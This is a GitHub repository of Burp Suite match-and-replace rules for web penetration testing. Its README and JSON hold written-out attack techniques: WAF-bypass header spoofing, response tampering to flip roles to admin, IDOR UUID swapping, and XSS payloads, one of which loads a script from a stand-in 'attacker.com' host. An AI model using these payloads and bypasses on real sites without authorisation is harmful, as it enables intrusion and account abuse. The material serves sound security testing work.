Repository: daffainfo/match-replace-burp
Branch: main
Commit: 2357f7bf89a6
Files: 4
Total size: 11.6 KB
Directory structure:
gitextract_plj6h5nn/
├── CONTRIBUTING.md
├── LICENSE
├── README.md
└── match-replace-burp.json
================================================
FILE CONTENTS
================================================
================================================
FILE: CONTRIBUTING.md
================================================
## Contributor License Agreement
By contributing to this repository, you agree to abide by the terms and conditions of the [LICENSE](/LICENSE).
## How to Contribute
Thank you for considering contributing to our project! We welcome contributions from the community to help improve and grow this project. Please follow the guidelines below to make the process smooth for everyone involved.
### Contribution Workflow
1. **Fork the Repository**: Start by forking this repository to your own GitHub account using the "Fork" button at the top-right corner of this page.
2. **Clone the Repository**: Clone your forked repository to your local machine using the following command, replacing `<your-username>` with your GitHub username:
```shell
git clone https://github.com/<your-username>/all-about-apikey.git
3. **Add Burpsuite Tips**: Add some burpsuite tips that aren't already in this repository
### Tips
- If you don't know where to start, you can find some tips on Twitter using `match replace burp` or `match replace` keywords
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2022 Muhammad Daffa
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# Match Replace Burp
Useful Match and Replace BurpSuite Rules
## Finding hidden buttons, forms, and other UI elements
Many websites contain hidden buttons, forms, and other UI elements like
```html
<div aria-hidden="true"></div>
<div style="visibility: hidden;"></div>
<div style="display: none;"></div>
<script>document.getElementbyTagName("test").hidden=true</script>
<button type="button" disabled>test</button>
```
* Show Hidden UI (1)
<img src="https://user-images.githubusercontent.com/36522826/166728753-b5b04276-fdf0-4102-bfee-7ac8fcd96cd4.png" width="400" />
* Show Hidden UI (2)
<img src="https://user-images.githubusercontent.com/36522826/166728896-5fb0c698-50bb-4213-b227-6389afaf3854.png" width="400" />
* Change disable to enable
<img src="https://user-images.githubusercontent.com/36522826/166729298-56e7272c-86c3-4f08-b712-606568a0367f.png" width="400" />
## Changing `false` to `true`
Sometimes we can get hidden features by changing from `false` to `true`. The example:
* Changing role from normal user to admin
<img src="https://user-images.githubusercontent.com/36522826/166739661-a6e54638-0fa1-464e-b765-4d52b7a223f7.png" width="400" />
* Make email verified
<img src="https://user-images.githubusercontent.com/36522826/166739292-7bf7bd71-3d7b-4ba0-91e2-97b679c41a83.png" width="400" />
## Bypass WAF
Bypassing WAF by adding some headers
* Adding `X-Forwarded-Host: 127.0.0.1`
<img src="https://user-images.githubusercontent.com/36522826/166742712-f3208448-ec62-424f-98ac-db3aecb1326b.png" width="400" />
> Create another rule but change the header to:
```
X-Forwarded-Port: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-Scheme: 127.0.0.1
X-Frame-Options: Allow
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
Origin: null
Origin: Domain.attacker.com
```
## Finding IDOR
By changing original user UUID to another UUID
<img src="https://user-images.githubusercontent.com/36522826/166742159-f740ec61-cb94-4ee7-bacf-7ed5b00e26bb.png" width="400" />
> Create another rule but change the `type` to "Request First Line"
## Finding XSS
By adding some XSS payload into the request
* Finding XSS on `User-Agent`
<img src="https://user-images.githubusercontent.com/36522826/166749425-b9accf44-a606-473d-94c6-8e9562e02c07.png" width="400" />
* Finding XSS on `Referer`
<img src="https://user-images.githubusercontent.com/36522826/166749753-d68eea0a-e290-4658-a2f1-cf66fcd89342.png" width="400" />
* Auto replace user input with XSS payload
<img src="https://user-images.githubusercontent.com/36522826/166752610-9d21d86e-49e5-4e8f-86bc-a9134350d46d.png" width="400" />
> So by just inputting the words `xss_payload` on the website it will be immediately replaced with `"><script src=https://attacker.com></script>`
> Change the XSS payload as you want
## MISC
Some random match and replace rules
* Finding [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q)
<img src="https://user-images.githubusercontent.com/36522826/166748175-6782ce51-b10f-4b1d-b8a3-610ef142d567.png" width="400" />
> Create some another rules to look for them in headers, parameters and more. Because log4j can be found anywhere
* Help companies to identify your traffic and separate them from malicious traffic by adding a custom header
<img src="https://user-images.githubusercontent.com/36522826/166796789-e184716f-00a3-428d-9323-bcd985556798.png" width="400" />
References:
- https://twitter.com/PTestical/status/1413497660133318659
- https://twitter.com/HolyBugx/status/1355472991061213184
- https://twitter.com/intigriti/status/1192103070072741894
- https://twitter.com/payloadartist/status/1469582893772984322
- https://twitter.com/payloadartist/status/1422247377516122114
- https://twitter.com/hackerscrolls/status/1247177578269597698
> Soon will be updated again
================================================
FILE: match-replace-burp.json
================================================
{
"proxy":{
"match_replace_rules":[
{
"comment":"Emulate IE",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^User-Agent.*$",
"string_replace":"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
},
{
"comment":"Emulate iOS",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^User-Agent.*$",
"string_replace":"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3"
},
{
"comment":"Emulate Android",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^User-Agent.*$",
"string_replace":"User-Agent: Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
},
{
"comment":"Require non-cached response",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^If-Modified-Since.*$"
},
{
"comment":"Require non-cached response",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^If-None-Match.*$"
},
{
"comment":"Hide Referer header",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^Referer.*$"
},
{
"comment":"Require non-compressed responses",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^Accept-Encoding.*$"
},
{
"comment":"Ignore cookies",
"enabled":false,
"is_simple_match":false,
"rule_type":"response_header",
"string_match":"^Set-Cookie.*$"
},
{
"comment":"Rewrite Host header",
"enabled":false,
"is_simple_match":false,
"rule_type":"request_header",
"string_match":"^Host: foo.example.org$",
"string_replace":"Host: bar.example.org"
},
{
"comment":"Add spoofed CORS origin",
"enabled":false,
"is_simple_match":true,
"rule_type":"request_header",
"string_replace":"Origin: foo.example.org"
},
{
"comment":"Remove HSTS headers",
"enabled":false,
"is_simple_match":false,
"rule_type":"response_header",
"string_match":"^Strict\\-Transport\\-Security.*$"
},
{
"comment":"Disable browser XSS protection",
"enabled":false,
"is_simple_match":true,
"rule_type":"response_header",
"string_replace":"X-XSS-Protection: 0"
},
{
"comment":"Show Hiddden UI",
"enabled":true,
"is_simple_match":true,
"rule_type":"response_body",
"string_match":"hidden",
"string_replace":"hizzen"
},
{
"comment":"Show Hiddden UI",
"enabled":true,
"is_simple_match":true,
"rule_type":"response_body",
"string_match":"display: none",
"string_replace":"display: n0ne"
},
{
"comment":"Change disable to enable",
"enabled":true,
"is_simple_match":true,
"rule_type":"response_body",
"string_match":"disable",
"string_replace":"enable"
},
{
"comment":"Change from false to true",
"enabled":true,
"is_simple_match":true,
"rule_type":"response_body",
"string_match":"false",
"string_replace":"true"
},
{
"comment":"Bypass WAF",
"enabled":true,
"is_simple_match":true,
"rule_type":"request_header",
"string_replace":"X-Forwarded-Host:: 127.0.0.1"
},
{
"comment":"Bypass WAF",
"enabled":true,
"is_simple_match":true,
"rule_type":"request_header",
"string_replace":"X-Forwarded-By: 127.0.0.1"
},
{
"comment":"Bypass WAF",
"enabled":true,
"is_simple_match":true,
"rule_type":"request_header",
"string_replace":"X-Forwarded-Scheme: 127.0.0.1"
},
{
"comment":"Easy replace XSS payload",
"enabled":true,
"is_simple_match":true,
"rule_type":"request_header",
"string_match":"xss_payload",
"string_replace":"\"><svg/onload=alert(1)>"
}
]
}
}
gitextract_plj6h5nn/ ├── CONTRIBUTING.md ├── LICENSE ├── README.md └── match-replace-burp.json
Condensed preview — 4 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (13K chars).
[
{
"path": "CONTRIBUTING.md",
"chars": 1042,
"preview": "## Contributor License Agreement\n\nBy contributing to this repository, you agree to abide by the terms and conditions of "
},
{
"path": "LICENSE",
"chars": 1071,
"preview": "MIT License\n\nCopyright (c) 2022 Muhammad Daffa\n\nPermission is hereby granted, free of charge, to any person obtaining a "
},
{
"path": "README.md",
"chars": 3980,
"preview": "# Match Replace Burp\nUseful Match and Replace BurpSuite Rules\n\n## Finding hidden buttons, forms, and other UI elements\nM"
},
{
"path": "match-replace-burp.json",
"chars": 5799,
"preview": "{\n \"proxy\":{\n \"match_replace_rules\":[\n {\n \"comment\":\"Emulate IE\",\n \"e"
}
]
About this extraction
This page contains the full source code of the daffainfo/match-replace-burp GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 4 files (11.6 KB), approximately 3.0k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.